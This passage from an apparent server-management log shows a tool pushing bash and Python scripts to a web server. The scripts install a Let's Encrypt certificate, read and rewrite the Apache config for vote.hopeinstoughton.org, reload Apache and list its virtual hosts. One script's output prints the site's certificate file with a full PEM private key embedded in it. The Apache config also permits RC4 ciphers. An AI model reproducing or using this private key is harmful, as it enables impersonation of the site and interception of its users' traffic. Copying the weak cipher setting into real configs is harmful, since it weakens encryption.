Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2026-01-09 17:44:51:
chmod 755 /tmp/pkp841521; /tmp/pkp841521; rm /tmp/pkp841521
2026-01-09 17:44:51:
dir=/etc/ssl/certs
2026-01-09 17:44:51:
PUT: /tmp/pkp906849
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf"
gzip -cn9 $temp_file
rm $temp_file
2026-01-09 17:44:51:
chmod 755 /tmp/pkp906849; /tmp/pkp906849; rm /tmp/pkp906849
2026-01-09 17:44:51:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf 48
<VirtualHost *:80>
ServerName vote.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_vote/public
<Directory /var/www/hopeinstoughton_vote>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/vote_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/vote_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.2-stoughton.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
<VirtualHost *:443>
ServerName vote.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/277b862c622fb9fa5d441c9959ff5ee3.crt
DocumentRoot /var/www/hopeinstoughton_vote/public
<Directory /var/www/hopeinstoughton_vote>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.2-stoughton.sock|fcgi://localhost"
</FilesMatch>
CustomLog /var/log/apache2/hopeinstoughton/vote_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/vote_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2026-01-09 17:44:51:
PUT: /tmp/pkp746927
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_vote_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName vote.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_vote/public
<Directory /var/www/hopeinstoughton_vote>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/vote_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/vote_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.2-stoughton.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
<VirtualHost *:443>
ServerName vote.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/277b862c622fb9fa5d441c9959ff5ee3.crt
DocumentRoot /var/www/hopeinstoughton_vote/public
<Directory /var/www/hopeinstoughton_vote>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.2-stoughton.sock|fcgi://localhost"
</FilesMatch>
CustomLog /var/log/apache2/hopeinstoughton/vote_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/vote_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf= 1'
fi
2026-01-09 17:44:51:
chmod 755 /tmp/pkp746927; /tmp/pkp746927; rm /tmp/pkp746927
2026-01-09 17:44:51:
2026-01-09 17:44:51:
PUT: /tmp/pkp656094
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2026-01-09 17:44:51:
chmod 755 /tmp/pkp656094; /tmp/pkp656094; rm /tmp/pkp656094
2026-01-09 17:44:51:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2026-01-09 17:44:51: Establishing a connection
2026-01-09 17:44:52:
PUT: /tmp/pkp265259
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2026-01-09 17:44:52:
chmod 755 /tmp/pkp265259; /tmp/pkp265259; rm /tmp/pkp265259
2026-01-09 17:44:52:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
alias www.hopeinstoughton.org
port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
alias www.hostz.org
port 80 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:2)
port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
alias www.kjvdictionary.org
port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
alias www.patientapps.co
port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
alias www.pjy.us
port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
wild alias *.stoughton.link
port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
alias www.theyoungdesigners.com
port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
alias www.theyoungdesigners.us
*:443 is a NameVirtualHost
default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
port 443 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
alias www.hopeinstoughton.org
port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
alias www.hostz.org
port 443 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:19)
port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
alias www.kjvdictionary.org
port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
alias www.patientapps.co
port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
alias www.pjy.us
port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
wild alias *.stoughton.link
port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
alias www.theyoungdesigners.com
port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2026-01-09 17:44:52:
PUT: /tmp/pkp151179
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-09 17:44:52:
chmod 755 /tmp/pkp151179; /tmp/pkp151179; rm /tmp/pkp151179
2026-01-09 17:44:52:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf 1655
<VirtualHost *:80>
ServerName vote.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_vote/public
<Directory /var/www/hopeinstoughton_vote>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/vote_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/vote_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.2-stoughton.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
<VirtualHost *:443>
ServerName vote.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/277b862c622fb9fa5d441c9959ff5ee3.crt
DocumentRoot /var/www/hopeinstoughton_vote/public
<Directory /var/www/hopeinstoughton_vote>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.2-stoughton.sock|fcgi://localhost"
</FilesMatch>
CustomLog /var/log/apache2/hopeinstoughton/vote_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/vote_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2026-01-09 17:44:52:
PUT: /tmp/pkp958725
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/277b862c622fb9fa5d441c9959ff5ee3.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-09 17:44:52:
chmod 755 /tmp/pkp958725; /tmp/pkp958725; rm /tmp/pkp958725
2026-01-09 17:44:52:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/277b862c622fb9fa5d441c9959ff5ee3.crt 5385
58:00:12:0a:87:41:69:1b:e4:9e:d1:2f:1a:e6:d8:96
-----BEGIN CERTIFICATE-----
MIIFFTCCA/2gAwIBAgISBiHP4YK7e2cucQWXEBbkFJPRMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTA5MTY0NjE5WhcNMjYwNDA5MTY0NjE4WjAjMSEwHwYDVQQD
Exh2b3RlLmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQCvXnoSmqrX2q5i5qQ9gRyz15nbyCYPCoAUrRx9ZGdtWKlF1kRL
eqS4iot1lfx8HEcnF1OWC3dS3FR36P1lTbFaBz91FWDKQyayHcaP0lYlTHm8lkUr
CNzZRTg4tTZM6F6/Ug81AN+1HIYokoDPF/GreGbQb0tXb5KJ3ARNeXhr/4X7c3sx
4pGSOZbnBLbPr5nWlErvTEJTcL7EK4snQKd5tgShWCvks03EC/FbCwxkWMsb1QjE
svwaCL2qc6UG4g9wKbZUsC380Ts1fAO8Xv/Ttk5vgNhyLqAlpGD10aNMXmfIygqC
v8LXrEHSS1QK7w0cN7y22Vys44EfAIe6aaMZAgMBAAGjggIxMIICLTAOBgNVHQ8B
Af8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB
/wQCMAAwHQYDVR0OBBYEFCWpWVpywNcrx5VmEPrnGxfvm867MB8GA1UdIwQYMBaA
FOernw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw
AoYXaHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wIwYDVR0RBBwwGoIYdm90ZS5ob3Bl
aW5zdG91Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUw
I6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvODIuY3JsMIIBDQYKKwYBBAHW
eQIEAgSB/gSB+wD5AHcAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMUWOcA
AAGbo9xq5QAABAMASDBGAiEApxhfL4RQFnh9leOc9a1Zy6J1CRWglvxWyJtEX8iR
JQwCIQC4MYSGmqYEHgTo9TICUinPflDvhq4jH6ctXa3qTRy9mAB+AOMjjfKNoojg
quCs8PqQyYXwtr/10qUnsAH8HERYxLboAAABm6PcbFsACAAABQAu2O/LBAMARzBF
AiATHmArLU+hIfqC0XTfnEs9cSgT/0rTXYArAJnzGkD5AwIhAOD92LWnN3ecWRyi
nZzznI8JVUwEdo3QiMQa2D5Crn9yMA0GCSqGSIb3DQEBCwUAA4IBAQCRS011CqdJ
D4yoPd8fOwIVVMTfjCreJeudP0J9zwBn0CXtLahT94UycpY5q09XuqpUBHnO9G1j
Yrd4BEUN7gzfVIAWB7P7w5QXWayU2+AmeB3BIc3ifltKrp8jqYNbbHso3cHKPowk
Wadpt36RkZEe4sNc/r/eUma9lpFMuHfFv3mpFZe+9zxI1cFSmA0a7it1MZWp+2wH
ibv9vTyoCT1oynmP6Mk0eJ3c3fI3yHT3Y2sQghndHY6CD+8B52JTsB2FAlsCuWJa
nNTXmFT4rtMrXbkSFQ7DBtLw8rh0fx6jvY2kJXTSeS0VnnHsmoxf5IoUsQPU9fv0
6pnVKIRf2Nen
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCvXnoSmqrX2q5i
5qQ9gRyz15nbyCYPCoAUrRx9ZGdtWKlF1kRLeqS4iot1lfx8HEcnF1OWC3dS3FR3
6P1lTbFaBz91FWDKQyayHcaP0lYlTHm8lkUrCNzZRTg4tTZM6F6/Ug81AN+1HIYo
koDPF/GreGbQb0tXb5KJ3ARNeXhr/4X7c3sx4pGSOZbnBLbPr5nWlErvTEJTcL7E
K4snQKd5tgShWCvks03EC/FbCwxkWMsb1QjEsvwaCL2qc6UG4g9wKbZUsC380Ts1
fAO8Xv/Ttk5vgNhyLqAlpGD10aNMXmfIygqCv8LXrEHSS1QK7w0cN7y22Vys44Ef
AIe6aaMZAgMBAAECggEAAzHrc29R8YDQcIjXMS+rADPLX8+zsc51KutEe5xarglR
fC49LErduWb8x3WmFfTF7xZjtXYcBGxzNYQPKctSkdtT8qQjEUxL5i7YsUIZw7Ay
/5aVSAVvUJ4MOixDAv+wyjeKg2KysLAGWbLhmeRLyN32sZF1g/BKcSyK/4ZZBU6o
uyo70rowixrMrFzKg4rTtEPt1XhrwBldeNIvE4qOwelV9lvPdxcR0F2mnMjU4iL6
8iXK/TyFNZ2dqMnvTth8VPg3D9zfTCFbthx5GIqaCNMUgcfZ7uEX+wN7BKQAPG6C
Q3Du2VtXuyKd9olp3tCw2ae8KPyhP5Y5TbgOP1kyIQKBgQDi2TwVmgsLgEMpRaEP
NdrzoHHTPua3tdo/uB0qhmUqHtuJ6oh7DXcUlEixf7F8BUOPWoEbc3QcCzXSaF9Y
GK+4zM8modUOE1D+bEwticRgPsyVPIVxGdBLcQqbh7SNpMiQuSoIsx8Pm9GW5L/D
PK8VjRLukNqooMaks2xqNKENnQKBgQDF57D3nI5ae5dHpV0I3pTrBArclp0Gbi31
W+OEtRcHwpsK3Cqi7P1sVgqmrZYY9Fab/usNr7BqGxUcfA5GwoCO7dl7hyGhMq/e
j6/K1MJhGS0wpxzpjAjQLhHU12HvZdFLtVF49VJsYKhC6Ih6B5cWW/1k713ZTrEJ
4uzi5z4wrQKBgC7pf8xz087oEnuJg7oyh/oT9xYZjvr055J/z8BIlMk2Im6OCvVv
nm2qELJsVtbv+728mLCFmsBl7RZ7MSR1znkoGbrCgt3rTreey84rDGpe8k32ex4d
mX7QfMIXOVaFeli7gh7UdBr1PU24NpP4i7ioOP8PA7kVrp7G4CfChH/dAoGAWEkH
lS5uAsdnsTp/ylkhLcZb4hP+cMPuFKqtUKJIZ9nUuH+HNa9rTk0D6188ul0l1ele
inh5xpvWSyK8a6yRFTHd91FNG1A1TJ/k2CMZo59LnYyvRTCHLfefVMfQlK9jMtbs
RX2LC3YDGfYKDAYezIa0/7YYs7x7FeH5sy9devECgYBBpHXewJezAvxWukj2nMih
xaLCedYlKS6QYVJ0nhdmCVA7iMyKGrDjwYTQ36ojOIqgeej0rr+OWmvj4qsaYOb2
2OT4XWuxMzYXK8Nm6yrn9axcSkvG1+7YaZ1CGp/qjVpRhGvgft5goqVVeCw5TuiF
90QBSxj/Am4MkaHr47Vq+Q==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2026-01-10 06:00:02: Establishing a connection
2026-01-10 06:00:03: Establishing a connection
2026-01-10 06:00:03:
PUT: /tmp/pkp478682
#!/bin/bash
if [ -d "/var/www/biblealive_www/.well-known" ]; then
echo 1
else
echo 0
fi
2026-01-10 06:00:04:
chmod 755 /tmp/pkp478682; /tmp/pkp478682; rm /tmp/pkp478682
2026-01-10 06:00:04:
1
2026-01-10 06:00:05: Establishing a connection
2026-01-10 06:00:05:
PUT: /tmp/pkp780104
#!/bin/bash
